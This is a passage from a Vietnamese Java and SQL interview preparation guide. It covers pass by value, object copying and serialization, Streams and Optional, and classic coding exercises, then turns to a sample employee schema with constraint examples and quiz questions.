	NHẮC LẠI KIẾN THỨC
Biến primitive chứa thẳng giá trị; biến kiểu object chỉ chứa tham chiếu trỏ tới object trên Heap (xem N1.2). final khóa tham chiếu chứ không khóa nội dung object (xem N1.3).



Pass by value nghĩa là khi gọi method, Java sao chép giá trị của biến rồi đưa bản sao cho tham số. Pass by reference (có trong C++, C#) nghĩa là tham số chính là biến gốc dưới một tên khác, gán lại tham số thì biến gốc đổi theo. Java không có cơ chế thứ hai; chỉ là với object, "giá trị" được sao chép là tham chiếu.
Java chỉ có pass by value. Với object, method nhận bản sao của tham chiếu: sửa nội dung object thì bên ngoài thấy, gán tham số sang object khác thì bên ngoài không bị ảnh hưởng.
	import java.util.ArrayList;
import java.util.List;
 
public class PassByValue {
    static void change(int x, List<String> list) {
        x = 100;                     // modifies the copy, original unchanged
        list.add("B");               // same object: content really changes
        list = new ArrayList<>();    // reassigns the copy: caller unaffected
        list.add("C");
    }
 
    public static void main(String[] args) {
        int n = 1;
        List<String> items = new ArrayList<>(List.of("A"));
        change(n, items);
        System.out.println(n + " " + items); // 1 [A, B]
    }
}



Giải thích: n vẫn là 1; list có "B" vì cùng object, nhưng không có "C" vì "C" vào list mới chỉ tham số cục bộ trỏ tới. Nếu có pass by reference, dòng gán lại đã làm items đổi theo.
Shallow copy tạo object mới nhưng dùng chung object con; deep copy sao chép cả object con. Cách khuyên dùng là copy constructor, thay vì clone() vốn thiết kế lỗi (không gọi constructor, ném checked exception, dễ quên field lồng nhau):
	import java.util.ArrayList;
import java.util.List;
 
public class Order {
    final List<String> items;
 
    Order(List<String> items) { this.items = items; }                  // keeps the same reference
    Order(Order other) { this.items = new ArrayList<>(other.items); }  // copy constructor
 
    public static void main(String[] args) {
        Order original = new Order(new ArrayList<>(List.of("Bút")));
        Order shallow = new Order(original.items);   // shares the list
        Order deep = new Order(original);
        original.items.add("Vở");
        System.out.println(shallow.items);           // [Bút, Vở]
        System.out.println(deep.items);              // [Bút]
    }
}



Giải thích: bản shallow dùng chung list với bản gốc nên thấy "Vở", bản deep có list riêng. Phần tử ở đây là String bất biến nên copy list là đủ; nếu phần tử là object thay đổi được thì phải copy tiếp từng phần tử.
Serialization chuyển object thành dãy byte (ObjectOutputStream.writeObject), deserialization làm ngược lại. Class phải implement Serializable (interface đánh dấu, không có method). Field transient không được ghi, đọc lại mang giá trị mặc định. serialVersionUID là "phiên bản" class; không tự khai báo thì JVM tự tính, thêm một field là dữ liệu cũ đọc lỗi InvalidClassException. Thực tế backend dùng JSON hoặc Protobuf, và deserialize dữ liệu không tin cậy bằng Java serialization là lỗ hổng bảo mật đã biết.
Chú thích: serialization (tuần tự hóa) là biến object trong bộ nhớ thành dãy byte để ghi file, gửi qua mạng, hay lưu cache; deserialization dựng lại object từ dãy byte đó. transient phù hợp cho dữ liệu nhạy cảm hoặc tính lại được, ví dụ mật khẩu, cache nội bộ.
Câu hỏi (Cơ bản): Java là pass by value hay pass by reference?
Chỉ pass by value. Với object, giá trị được copy là tham chiếu, nên sửa được nội dung nhưng không đổi được biến của caller sang object khác.
Câu hỏi (Hiểu sâu): Làm sao deep copy một object?
Copy constructor tự copy từng field lồng nhau là rõ ràng nhất; serialize rồi deserialize (hoặc qua JSON) cũng được nhưng chậm. Object bất biến thì không cần copy.
Câu hỏi (Đọc code): Đoạn code dưới đây in ra gì?
	public class PassQuiz {
    static void swap(String a, String b) { String tmp = a; a = b; b = tmp; }
 
    static void shout(StringBuilder sb) {
        sb.append("!");                         // modifies the shared object
        sb = new StringBuilder("new");          // reassigns only the local copy
    }
 
    public static void main(String[] args) {
        String x = "A", y = "B";
        swap(x, y);
        System.out.println(x + y);
        StringBuilder sb = new StringBuilder("hi");
        shout(sb);
        System.out.println(sb);
    }
}



Đáp án:
In AB rồi hi!. swap chỉ đổi chỗ hai bản sao tham chiếu bên trong method, x, y của main không đổi; đây là bằng chứng Java không có pass by reference (không viết được hàm swap như C++). shout sửa nội dung object mà cả hai bên cùng trỏ tới nên thêm "!", còn dòng gán new StringBuilder("new") chỉ đổi tham số cục bộ.
Câu hỏi (Đọc code): Tìm lỗi. Class dưới đây tự nhận là "đóng gói tốt". Lỗi ở đâu?
	import java.util.ArrayList;
import java.util.List;
 
public class Cart {
    private final List<String> items = new ArrayList<>();
 
    public List<String> getItems() { return items; }   // leaks the internal list
    public void add(String item) {
        if (items.size() >= 10) throw new IllegalStateException("Cart is full");
        items.add(item);
    }
}



Đáp án:
Getter trả thẳng list nội bộ, bên ngoài gọi cart.getItems().add(...) vượt qua giới hạn 10 món. private final chỉ khóa biến items (N1.3), không khóa nội dung; getter trao bản sao tham chiếu (mục này) nên người gọi sửa được chính list đó, phá đóng gói (N1.5). Sửa: return List.copyOf(items); (bản sao bất biến) hoặc Collections.unmodifiableList(items) (view chỉ đọc).
N1.15 Java 8 cơ bản: lambda, Stream, Optional
	NHẮC LẠI KIẾN THỨC
Interface là bản cam kết các method mà class phải có; default và static method có thân nên không tính là method abstract (xem N1.7). List, Set là các Collection chứa dữ liệu trong bộ nhớ (xem N1.11).



Functional interface có đúng một method abstract (nên đánh dấu @FunctionalInterface): Runnable, Comparator, Predicate<T> (T → boolean), Function<T,R> (T → R), Consumer<T>, Supplier<T>. Lambda là cách viết ngắn implementation của nó; method reference (Product::name) còn gọn hơn khi chỉ gọi một method có sẵn.
	import java.util.List;
import java.util.Optional;
import java.util.function.Predicate;
import java.util.stream.Collectors;
 
public class Java8Basics {
    record Product(String name, long price) {}
 
    public static void main(String[] args) {
        List<Product> products = List.of(new Product("Áo", 200), new Product("Chuột", 350),
                                         new Product("Tai nghe", 900));
        Predicate<Product> expensive = p -> p.price() > 300;   // lambda
 
        List<String> names = products.stream()
            .filter(expensive)                                  // keep products above 300
            .map(Product::name)                                 // method reference
            .collect(Collectors.toList());
        System.out.println(names);                              // [Chuột, Tai nghe]
 
        Optional<Product> cheap = products.stream().filter(p -> p.price() < 100).findFirst();
        System.out.println(cheap.map(Product::name).orElse("Không có")); // Không có
    }
}



Giải thích: filter, map là thao tác trung gian, lười: chỉ chạy khi gặp thao tác kết thúc như collect, findFirst; list gốc không bị sửa. findFirst trả về Optional vì có thể không tìm thấy, map(...).orElse(...) xử lý cả hai trường hợp không cần kiểm tra null. Java 16+ có .toList() gọn hơn (list bất biến).
Chữ lười (lazy) có nghĩa cụ thể: các bước trung gian chỉ được ghi lại vào pipeline, chưa chạy gì cho tới khi gặp thao tác kết thúc (terminal operation). Đoạn code sau chứng minh:
	import java.util.stream.Stream;
 
public class LazyStream {
    public static void main(String[] args) {
        Stream<String> s = Stream.of("a", "b", "c")
            .filter(x -> { System.out.println("filter " + x); return true; }); // not run yet
        System.out.println("before terminal");
        System.out.println(s.findFirst().orElse("none")); // terminal: pipeline runs now
    }
}



Giải thích: output là before terminal, filter a, a. Dòng "filter" không in khi khai báo stream; khi findFirst chạy, stream xử lý từng phần tử qua cả pipeline và dừng ngay khi có kết quả đầu tiên, nên "b", "c" không bao giờ đi qua filter. Hệ quả thực tế: đừng đặt tác dụng phụ (ghi DB, sửa biến ngoài) trong filter/map, vì bạn không kiểm soát được nó chạy bao nhiêu lần.
Câu hỏi (Cơ bản): Functional interface là gì? Tự viết được không?
Interface có đúng một method abstract, nhờ đó lambda biết mình cài đặt method nào. Tự viết được, thêm @FunctionalInterface để compiler chặn method abstract thứ hai; default và static method không tính.
Câu hỏi (Hiểu sâu): Collection khác Stream thế nào?
Collection lưu dữ liệu, duyệt được nhiều lần. Stream là pipeline xử lý dữ liệu, lười và chỉ dùng được một lần; gọi terminal operation lần hai ném IllegalStateException.
	BẪY THƯỜNG GẶP
Gọi optional.get() không kiểm tra, hoặc if (opt.isPresent()) opt.get(), chỉ là kiểm tra null đổi tên. Dùng orElse, orElseThrow, map, ifPresent. Stream nâng cao và Optional đúng chỗ: Chương 1.



Câu hỏi (Đọc code): Đoạn code dưới đây in ra gì?
	import java.util.List;
import java.util.stream.Stream;
 
public class StreamReuse {
    public static void main(String[] args) {
        Stream<Integer> nums = List.of(1, 2, 3, 4).stream();
        System.out.println(nums.filter(n -> n % 2 == 0).count());
        System.out.println(nums.count());
    }
}



Đáp án:
In 2 rồi ném IllegalStateException: stream has already been operated upon or closed. Stream chỉ dùng được một lần: gọi filter trên nums đã "tiêu thụ" nó, lần gọi thứ hai trên cùng biến nums bị từ chối. Cần dùng lại thì giữ Collection gốc và gọi list.stream() mỗi lần, hoặc truyền Supplier<Stream<T>>.
Câu hỏi (Đọc code): Tìm lỗi. Đoạn code dùng Stream dưới đây chạy đúng hôm nay nhưng có vấn đề gì?
	static List<String> longNames(List<String> names) {
    List<String> result = new ArrayList<>();
    names.stream()
         .filter(n -> n.length() > 3)
         .forEach(n -> result.add(n.toUpperCase())); // side effect on an external list
    return result;
}



Đáp án:
Dùng forEach để thêm vào list bên ngoài là tác dụng phụ; đổi sang parallelStream() là ArrayList bị nhiều thread cùng ghi và hỏng dữ liệu. Stream được thiết kế để mô tả "lấy gì" rồi để collect/toList() tự gom kết quả an toàn. Sửa: return names.stream().filter(n -> n.length() > 3).map(String::toUpperCase).toList();, ngắn hơn và không phụ thuộc biến ngoài.
N1.16 Bài code Fresher kinh điển
	NHẮC LẠI KIẾN THỨC
String bất biến nên không sửa từng ký tự tại chỗ được (xem N1.8); HashMap/HashSet tra cứu trung bình O(1) nhờ hashCode() và equals() (xem N1.9, N1.11). Ký hiệu O(n), O(√n) đo thời gian tăng theo kích thước đầu vào (xem N1.11).



Ở mức 2–4 năm, viết đúng chưa đủ: hãy tự nói độ phức tạp và trường hợp biên (chuỗi rỗng, null, phần tử trùng).
Bài 1: Đảo chuỗi (thường bị cấm dùng StringBuilder.reverse()):
	public class ReverseString {
    static String reverse(String s) {
        char[] chars = s.toCharArray();
        for (int l = 0, r = chars.length - 1; l < r; l++, r--) { // two pointers move toward the middle
            char tmp = chars[l];
            chars[l] = chars[r];                                  // swap both ends
            chars[r] = tmp;
        }
        return new String(chars);
    }
 
    public static void main(String[] args) {
        System.out.println(reverse("Java21"));                    // 12avaJ
    }
}



Giải thích: String bất biến nên chuyển sang char[] rồi hoán đổi hai đầu. O(n) thời gian, O(n) bộ nhớ; chuỗi rỗng vẫn đúng. Được dùng thư viện thì new StringBuilder(s).reverse() còn xử lý đúng cặp surrogate (emoji).
Bài 2: Kiểm tra palindrome (bỏ qua dấu câu, không phân biệt hoa thường):
	public class Palindrome {
    static boolean isPalindrome(String s) {
        int l = 0, r = s.length() - 1;
        while (l < r) {
            if (!Character.isLetterOrDigit(s.charAt(l))) { l++; continue; } // skip punctuation
            if (!Character.isLetterOrDigit(s.charAt(r))) { r--; continue; }
            if (Character.toLowerCase(s.charAt(l)) != Character.toLowerCase(s.charAt(r))) return false;
            l++;
            r--;
        }
        return true;
    }
 
    public static void main(String[] args) {
        System.out.println(isPalindrome("A man, a plan, a canal: Panama")); // true
    }
}



Giải thích: hai con trỏ so sánh từ hai đầu, dừng ngay khi gặp cặp khác nhau. O(n) thời gian, O(1) bộ nhớ, tốt hơn cách "đảo chuỗi rồi so sánh" tốn thêm O(n).
Bài 3: Đếm tần suất ký tự bằng HashMap:
	import java.util.LinkedHashMap;
import java.util.Map;
 
public class CharFrequency {
    public static void main(String[] args) {
        Map<Character, Integer> freq = new LinkedHashMap<>();  // HashMap that keeps insertion order
        for (char c : "hello world".toCharArray()) {
            if (c == ' ') continue;
            freq.merge(c, 1, Integer::sum);   // absent: put 1, present: add 1
        }
        System.out.println(freq);             // {h=1, e=1, l=3, o=2, w=1, r=1, d=1}
    }
}



Giải thích: ký tự là key, số lần xuất hiện là value; merge tương đương put(c, getOrDefault(c, 0) + 1). LinkedHashMap (lớp con của HashMap) in theo thứ tự xuất hiện cho dễ kiểm tra. O(n) thời gian, O(k) bộ nhớ với k là số ký tự khác nhau.
Bài 4: Số lớn thứ hai trong mảng (không sort, có phần tử trùng):
	public class SecondLargest {
    static Integer secondLargest(int[] arr) {
        long first = Long.MIN_VALUE, second = Long.MIN_VALUE; // long: distinguishes "not found yet"
        for (int x : arr) {
            if (x > first) {
                second = first;                  // old max becomes second
                first = x;
            } else if (x < first && x > second) {
                second = x;                      // skip values equal to first
            }
        }
        return second == Long.MIN_VALUE ? null : (int) second;
    }
 
    public static void main(String[] args) {
        System.out.println(secondLargest(new int[]{5, 1, 9, 9, 7})); // 7
        System.out.println(secondLargest(new int[]{4, 4}));          // null
    }
}



Giải thích: một lần duyệt, giữ hai giá trị lớn nhất. Số 9 thứ hai bị bỏ qua nhờ x < first nên kết quả là 7; mảng toàn giá trị bằng nhau trả null. O(n) thời gian, O(1) bộ nhớ; sort rồi lấy phần tử áp chót là O(n log n) và sai khi có trùng.
Bài 5: Kiểm tra số nguyên tố:
	public class PrimeCheck {
    static boolean isPrime(int n) {
        if (n < 2) return false;
        if (n % 2 == 0) return n == 2;                 // among even numbers only 2 is prime
        for (int i = 3; (long) i * i <= n; i += 2) {   // try odd divisors up to sqrt(n)
            if (n % i == 0) return false;
        }
        return true;
    }
 
    public static void main(String[] args) {
        System.out.println(isPrime(29) + " " + isPrime(91)); // true false (91 = 7 x 13)
    }
}



Giải thích: n có ước lớn hơn √n thì cũng có ước nhỏ hơn √n, nên chỉ thử đến √n: O(√n), bỏ số chẵn giảm thêm một nửa. (long) i * i tránh tràn int khi n gần Integer.MAX_VALUE (bẫy ở N1.2). Liệt kê mọi số nguyên tố đến N thì dùng sàng Eratosthenes.
Bài 6: Xóa phần tử trùng và tìm phần tử chung:
	import java.util.ArrayList;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.List;
import java.util.Set;
 
public class RemoveDuplicates {
    public static void main(String[] args) {
        List<String> tags = List.of("java", "sql", "java", "git", "sql");
        List<String> unique = new ArrayList<>(new LinkedHashSet<>(tags)); // remove duplicates, keep order
        System.out.println(unique);                                       // [java, sql, git]
 
        Set<String> common = new HashSet<>(tags);         // copy, since retainAll mutates the receiver
        common.retainAll(Set.of("git", "java", "k8s"));   // keep only elements present in both
        System.out.println(common);                       // java and git, order not guaranteed
    }
}



Giải thích: LinkedHashSet loại trùng theo equals/hashCode và giữ thứ tự thêm vào (HashSet làm xáo thứ tự; stream().distinct() cho cùng kết quả). retainAll hỏi contains() của tập kia cho từng phần tử, tập kia là Set nên tổng O(n), so với O(n²) nếu lồng hai vòng trên List. Với class tự viết, cần override equals/hashCode (N1.9).
Câu hỏi (Đọc code): Vì sao bài 4 dùng long cho first, second thay vì int? Đoạn code dưới đây in ra gì?
	public class SecondLargestEdge {
    static Integer secondLargest(int[] arr) {
        long first = Long.MIN_VALUE, second = Long.MIN_VALUE;
        for (int x : arr) {
            if (x > first) { second = first; first = x; }
            else if (x < first && x > second) { second = x; }
        }
        return second == Long.MIN_VALUE ? null : (int) second;
    }
 
    public static void main(String[] args) {
        System.out.println(secondLargest(new int[]{Integer.MIN_VALUE, 5}));
        System.out.println(secondLargest(new int[]{3}));
    }
}



Đáp án:
In -2147483648 rồi null. Mảng {Integer.MIN_VALUE, 5} có số lớn thứ hai hợp lệ chính là Integer.MIN_VALUE. Nếu dùng int với giá trị khởi đầu Integer.MIN_VALUE làm dấu "chưa có", hàm không phân biệt được "số lớn thứ hai là MIN_VALUE" với "không có số lớn thứ hai" và trả sai null. Long.MIN_VALUE nằm ngoài miền giá trị của int nên dùng làm dấu hiệu an toàn. Mảng một phần tử không có số lớn thứ hai nên trả null.
Câu hỏi (Hiểu sâu): Vì sao tìm phần tử chung của hai List nên chuyển một bên sang HashSet?
Vì contains trên List phải duyệt từng phần tử (O(n)), còn trên HashSet là O(1) trung bình nhờ hashCode chọn thẳng bucket. Lồng hai vòng trên List là O(n x m); chuyển một bên sang Set thì còn O(n + m). Với 100 nghìn phần tử mỗi bên, đó là khác biệt giữa 10 tỷ phép so sánh và khoảng 200 nghìn phép.
Câu hỏi (Thực chiến): Làm xong bài code, người phỏng vấn hỏi "còn gì nữa không?". Nên nói gì?
Tự nêu độ phức tạp thời gian và bộ nhớ, các trường hợp biên đã xử lý và chưa xử lý, và cách viết test cho chúng. Ví dụ với bài đảo chuỗi: đầu vào null (ném NPE hay trả null?), chuỗi rỗng, chuỗi có emoji (cặp surrogate bị đảo ngược thành ký tự lỗi). Ứng viên 2–4 năm được kỳ vọng tự đặt câu hỏi này trước khi bị hỏi, và biết khi nào nên dùng thư viện có sẵn thay vì tự viết.
N1.17 Tóm tắt trọng tâm
1. Static/dynamic typing hỏi "kiểm tra kiểu lúc nào", strong/weak hỏi "có tự ép kiểu ngầm không"; Java là static và strong vì compiler chặn int x = "5"; và JVM ném ClassCastException khi ép sai.
1. Wrapper là object trên Heap bọc một field private final int value, biến chỉ giữ tham chiếu; nó tồn tại vì generic/Collection chỉ nhận object và vì cần biểu diễn null.
1. Autoboxing là compiler chèn Integer.valueOf(x), unboxing là chèn x.intValue(); vì vậy == giữa wrapper chỉ đúng trong cache -128..127 và unboxing null ném NPE.
1. Biến tính toán trong vòng lặp dùng primitive, vì mỗi lần boxing ngoài cache là một object mới cho GC dọn.
1. Class được khởi tạo một lần ở lần dùng chủ động đầu tiên, cha trước con, static field và static block chạy theo thứ tự viết; đọc hằng compile-time không kích hoạt khởi tạo vì compiler đã chép thẳng giá trị.
1. Compiler tự chèn super() và chỉ tạo default constructor khi class không có constructor nào, nên cha chỉ có constructor có tham số thì con phải gọi super(...) tường minh.
1. JPA entity cần constructor không tham số (protected là đủ) và không final, vì Hibernate tạo object qua reflection và kế thừa entity để làm proxy; record vì vậy không làm entity được.
1. Overload chọn lúc biên dịch theo kiểu khai báo, override chọn lúc chạy theo object thật; field và static method chỉ bị che, không đa hình.
1. So sánh String và wrapper bằng equals(), vì == chỉ so tham chiếu và chuỗi từ request/DB không nằm trong pool.
1. Override equals(Object) thì phải override hashCode() trên cùng field, vì HashMap chọn bucket bằng hashCode trước khi gọi equals; field dùng làm key phải bất biến.
1. compareTo/compare dùng Integer.compare thay cho phép trừ để tránh tràn số, và TreeSet coi kết quả 0 là trùng nên comparator phải đủ tiêu chí.
1. Không nuốt exception; bọc lỗi thì truyền cause để stack trace còn dấu vết gốc, và nhớ @Transactional mặc định chỉ rollback với unchecked exception.
1. Dữ liệu trên Heap dùng chung giữa các thread phải được bảo vệ (synchronized, AtomicInteger), vì count++ gồm ba bước và không atomic.
1. Java chỉ pass by value: với object, giá trị được sao chép là tham chiếu, nên sửa được nội dung nhưng không đổi được biến của caller.
1. Stream lười và chỉ dùng một lần; đừng đặt tác dụng phụ trong filter/map/forEach, hãy gom kết quả bằng collect/toList().
N1.18 Checklist ôn tập
1. Phân biệt JDK/JRE/JVM, mô tả javac → bytecode → JVM (interpreter + JIT), phân biệt static/dynamic với strong/weak typing.
1. Nhớ 8 kiểu primitive; giải thích Integer cache, NPE khi unboxing null, tràn int, BigDecimal cho tiền.
1. Nói được static, method hiding, final với tham chiếu, final/finally/finalize, bảng access modifier.
1. Đọc đúng thứ tự khởi tạo: static block, instance block, constructor; cha trước con.
1. Có ví dụ code cho từng tính chất OOP.
1. Nêu đủ quy tắc override, phân biệt static/dynamic binding.
1. Biết interface có default/static/private method; chọn abstract class hay interface; has-a và is-a.
1. Phân biệt ==/equals(), String/StringBuilder/StringBuffer; override đúng equals/hashCode.
1. Sắp xếp nhiều tiêu chí bằng comparing().thenComparing(), không viết compareTo bằng phép trừ.
1. Nắm sơ đồ Collection/Map, các bảng so sánh, Iterator không copy dữ liệu.
1. Vẽ cây Throwable, phân biệt checked/unchecked, throw/throws, biết khi nào finally không chạy.
1. Phân biệt start()/run(), sleep()/wait(); sửa race condition; giải thích deadlock và 6 trạng thái thread.
1. Chứng minh pass by value; deep copy bằng copy constructor; transient, serialVersionUID.
1. Dùng lambda, method reference, filter/map/collect, Optional không gọi get() bừa.
1. Tự viết được 6 bài kinh điển và nói độ phức tạp từng bài.
1. Vẽ bảng 2x2 static/dynamic và strong/weak, và giải thích vì sao Java thuộc ô static + strong (kể cả khi có ClassCastException hay var).
1. Vẽ sơ đồ int trên Stack và Integer trên Heap; viết lại code sau khi compiler thêm Integer.valueOf/intValue(); giải thích vì sao Long sum += i trong vòng lặp chậm.
1. Liệt kê các trường hợp kích hoạt và không kích hoạt khởi tạo class; đoán đúng output khi đọc hằng static final compile-time.
1. Đọc được lỗi constructor X in class X cannot be applied to given types và sửa bằng super(...).
1. Viết JPA entity có constructor protected không tham số (hoặc @NoArgsConstructor(access = AccessLevel.PROTECTED)), giải thích vì sao record không làm entity được.
1. Giải quyết xung đột default method bằng Interface.super.method(); chọn overload khi có cả long và Integer.
1. Giải thích bucket của HashMap, lỗi equals(Emp) là overload, và key bị sửa sau khi thêm vào HashSet.
1. Bọc exception giữ cause; biết @Transactional rollback với loại exception nào.
1. Giải thích race condition, atomic, monitor; sửa bằng AtomicInteger.
1. Chứng minh Stream lười và chỉ dùng một lần; không dùng forEach để gom kết quả.
Nền tảng 2. SQL, Web, Spring và Hibernate cơ bản (kiến thức Fresher)
Phần này dành cho bạn mới ra trường hoặc dưới một năm kinh nghiệm, và cho cả những bạn 2–4 năm muốn rà lại nền móng trước khi đọc các chương chuyên sâu. Vòng Fresher thường hỏi đúng những câu dưới đây: định nghĩa, so sánh, viết một câu SQL, giải thích một annotation. Tôi không chấm việc bạn thuộc lòng, tôi chấm việc bạn giải thích bằng lời của mình và đưa ra được ví dụ.
	NGƯỜI PHỎNG VẤN MUỐN KIỂM TRA
1. Viết được SQL cơ bản: JOIN, GROUP BY/HAVING, subquery, tìm bản ghi trùng, lương cao thứ hai.
1. Hiểu HTTP và đường đi của một request từ Tomcat vào tới Controller.
1. Giải thích IoC/DI, bean, các annotation phổ biến và tự dựng được một API CRUD.
1. Nắm JPA/Hibernate cơ bản: mapping, quan hệ, lazy/eager, trạng thái entity.
1. Nhận ra các design pattern phổ biến, dùng được Git và vài lệnh Linux.



N2.1 SQL: schema mẫu và ràng buộc
Bảng, dòng, cột và khóa bằng lời thường
Trước khi đọc DDL, hãy nắm vài từ sẽ dùng suốt phần SQL. Một cơ sở dữ liệu quan hệ (MySQL, PostgreSQL) lưu dữ liệu thành các bảng (table), giống một sheet Excel có tên. Mỗi cột (column) là một thuộc tính có kiểu cố định, ví dụ cột salary luôn là số. Mỗi dòng (row, còn gọi là bản ghi, record) là một đối tượng cụ thể, ví dụ nhân viên An. SQL là ngôn ngữ để tạo bảng, thêm, sửa, xóa và hỏi dữ liệu.
	Khái niệm
	Nói bằng lời thường
	Ví dụ trong schema dưới

	Khóa chính (primary key)
	Cột dùng để chỉ đích danh một dòng, không trùng, không trống
	employees.id: An là nhân viên số 1

	Khóa ngoại (foreign key)
	Cột ở bảng này trỏ tới khóa chính của bảng khác
	employees.department_id trỏ tới departments.id

	Ràng buộc (constraint)
	Luật DB tự kiểm tra mỗi lần ghi, sai luật thì từ chối
	NOT NULL, UNIQUE, CHECK (salary > 0)

	NULL
	"Không có giá trị / chưa biết", khác số 0 và chuỗi rỗng
	Dũng chưa thuộc phòng nào: department_id là NULL



Vì sao cần ràng buộc trong DB khi code Java đã kiểm tra rồi? Vì dữ liệu còn được ghi từ nhiều nơi khác: script migration, một service khác, người vận hành gõ tay. Ràng buộc là lớp bảo vệ cuối cùng, không ai đi vòng qua được.
Toàn bộ phần SQL dùng chung một schema nhỏ. Đoạn DDL dưới tạo bảng phòng ban, nhân viên, nhân viên tham gia dự án, kèm đủ các loại ràng buộc hay bị hỏi.
	CREATE TABLE departments (
    id     BIGINT PRIMARY KEY,
    name   VARCHAR(100) NOT NULL UNIQUE,
    budget DECIMAL(15,2) CHECK (budget >= 0)      -- MySQL enforces CHECK only since 8.0.16
);
CREATE TABLE employees (
    id            BIGINT PRIMARY KEY,
    full_name     VARCHAR(100) NOT NULL,
    email         VARCHAR(150) NOT NULL UNIQUE,
    salary        DECIMAL(12,2) NOT NULL CHECK (salary > 0),
    department_id BIGINT,                         -- NULL: not in any department yet
    FOREIGN KEY (department_id) REFERENCES departments(id)
);
CREATE TABLE employee_projects (
    employee_id BIGINT NOT NULL,
    project_id  BIGINT NOT NULL,
    PRIMARY KEY (employee_id, project_id),        -- composite key: key made of 2 columns
    FOREIGN KEY (employee_id) REFERENCES employees(id)
);
INSERT INTO departments VALUES (1, 'IT', 50000), (2, 'HR', 20000), (3, 'Sales', 30000);
INSERT INTO employees VALUES (1, 'An', 'an@corp.vn', 2000, 1), (2, 'Bình', 'binh@corp.vn', 1500, 1),
    (3, 'Chi', 'chi@corp.vn', 1200, 2), (4, 'Dũng', 'dung@corp.vn', 1000, NULL);



Giải thích: PRIMARY KEY định danh mỗi dòng và ngầm NOT NULL; UNIQUE cấm trùng; CHECK kiểm tra điều kiện từng dòng; FOREIGN KEY bắt department_id trỏ tới phòng có thật (chèn phòng 9 sẽ bị từ chối). Chỉ cặp (employee_id, project_id) là duy nhất, nên khóa chính của bảng dự án là composite key. Dữ liệu mẫu cố ý có phòng Sales không có ai và Dũng chưa có phòng. id gán tay để chạy được trên cả hai DB; thực tế MySQL dùng AUTO_INCREMENT, PostgreSQL dùng GENERATED ALWAYS AS IDENTITY.
Sau khi chạy đoạn trên, hai bảng chính trông như sau. Hãy nhớ hai bảng này, mọi ví dụ JOIN, GROUP BY bên dưới đều tính trên chúng.
	departments.id
	name
	budget

	1
	IT
	50000

	2
	HR
	20000

	3
	Sales
	30000



	employees.id
	full_name
	salary
	department_id

	1
	An
	2000
	1

	2
	Bình
	1500
	1

	3
	Chi
	1200
	2

	4
	Dũng
	1000
	NULL



	NHẮC LẠI KIẾN THỨC
Cột tiền dùng DECIMAL(12,2) vì cùng lý do Java dùng BigDecimal thay cho double: số thực nhị phân không biểu diễn chính xác 0.1, cộng dồn sẽ lệch (xem N1.2). JPA map DECIMAL sang BigDecimal.



Ràng buộc chặn dữ liệu sai như thế nào
Quy tắc "khóa ngoại phải trỏ tới dòng có thật" nghe trừu tượng, nhìn lệnh bị từ chối sẽ rõ hơn. Ba lệnh dưới đều vi phạm một ràng buộc:
	INSERT INTO employees VALUES (5, 'Em', 'em@corp.vn', 1300, 9);   -- department 9 does not exist
INSERT INTO employees VALUES (6, 'Giang', 'an@corp.vn', 900, 1); -- email already used by An
INSERT INTO employees VALUES (7, 'Hà', 'ha@corp.vn', 0, 1);      -- salary must be > 0
 
-- Fix: point to an existing department (or NULL), use a new email, a positive salary
INSERT INTO employees VALUES (5, 'Em', 'em@corp.vn', 1300, 2);



Giải thích: lệnh đầu bị MySQL từ chối với ERROR 1452 (23000): Cannot add or update a child row: a foreign key constraint fails, PostgreSQL báo violates foreign key constraint. Lệnh hai báo ERROR 1062 (23000): Duplicate entry 'an@corp.vn' for key 'employees.email'. Lệnh ba vi phạm CHECK. Không có dòng nào được ghi, dữ liệu trong bảng giữ nguyên. Chiều ngược lại cũng được bảo vệ: DELETE FROM departments WHERE id = 1 bị từ chối vì An và Bình còn trỏ tới phòng IT; muốn xóa phải chuyển nhân viên đi trước, hoặc khai báo ON DELETE SET NULL / ON DELETE CASCADE trên khóa ngoại nếu nghiệp vụ cho phép. Tôi đã chạy thử các lệnh này trên SQLite (bật PRAGMA foreign_keys = ON) và cả ba đều bị từ chối.
Các nhóm lệnh: DDL định nghĩa cấu trúc (CREATE, ALTER, DROP, TRUNCATE), DML thao tác dữ liệu (SELECT, INSERT, UPDATE, DELETE; có tài liệu tách SELECT thành DQL), DCL phân quyền (GRANT, REVOKE), TCL điều khiển transaction (COMMIT, ROLLBACK, SAVEPOINT).
Câu hỏi (Cơ bản): Primary key khác Unique key thế nào? Composite key là gì?
Mỗi bảng có tối đa một primary key, không được NULL. Unique key có thể có nhiều và cho phép NULL. Cả hai đều tự tạo index. Composite key là khóa gồm từ hai cột trở lên trong một bảng: từng cột có thể trùng nhưng tổ hợp thì duy nhất; trong JPA map bằng @EmbeddedId hoặc @IdClass.
	BẪY THƯỜNG GẶP
Tài liệu cũ định nghĩa composite key là "khóa gồm hai bảng". Sai: đó là nhiều cột trong một bảng; khóa liên kết hai bảng là foreign key.



Câu hỏi (Cơ bản): Foreign key dùng để làm gì? Không khai báo foreign key thì sao?
Foreign key giữ tính toàn vẹn tham chiếu: không cho một dòng trỏ tới dòng không tồn tại, và không cho xóa dòng đang bị trỏ tới. Không khai báo thì code vẫn JOIN được bình thường, nhưng DB không còn canh giữ: một bug hoặc một câu DELETE tay có thể để lại nhân viên thuộc "phòng 9" không tồn tại (dữ liệu mồ côi), và các báo cáo JOIN sẽ lặng lẽ thiếu dòng. Một số hệ thống lớn cố ý bỏ foreign key để ghi nhanh hoặc vì dữ liệu nằm ở nhiều DB; khi đó ứng dụng phải tự đảm bảo, và bạn nên nói được trade-off này.
Câu hỏi (Đọc code): Với dữ liệu mẫu ở trên, lệnh nào chạy thành công?
	INSERT INTO departments VALUES (4, 'it', 1000);
INSERT INTO departments VALUES (5, 'Legal', NULL);
INSERT INTO employee_projects VALUES (1, 10), (1, 11), (2, 10);
INSERT INTO employee_projects VALUES (1, 10);



Đáp án:
Ba lệnh đầu thành công, lệnh cuối bị từ chối.
1. 'it' chữ thường: với PostgreSQL và SQLite so sánh chuỗi phân biệt hoa thường nên không trùng 'IT'; MySQL với collation mặc định utf8mb4_0900_ai_ci không phân biệt hoa thường nên báo Duplicate entry. Đây là câu hay để hỏi ngược người phỏng vấn "DB nào?".
1. budget NULL: CHECK (budget >= 0) với NULL cho UNKNOWN, và CHECK chỉ từ chối khi kết quả là FALSE, nên NULL được chấp nhận. Muốn cấm thì thêm NOT NULL.
1. Ba cặp (1,10), (1,11), (2,10) đều khác nhau dù cột đơn lẻ có lặp.
1. (1, 10) lần hai trùng composite key nên bị từ chối.
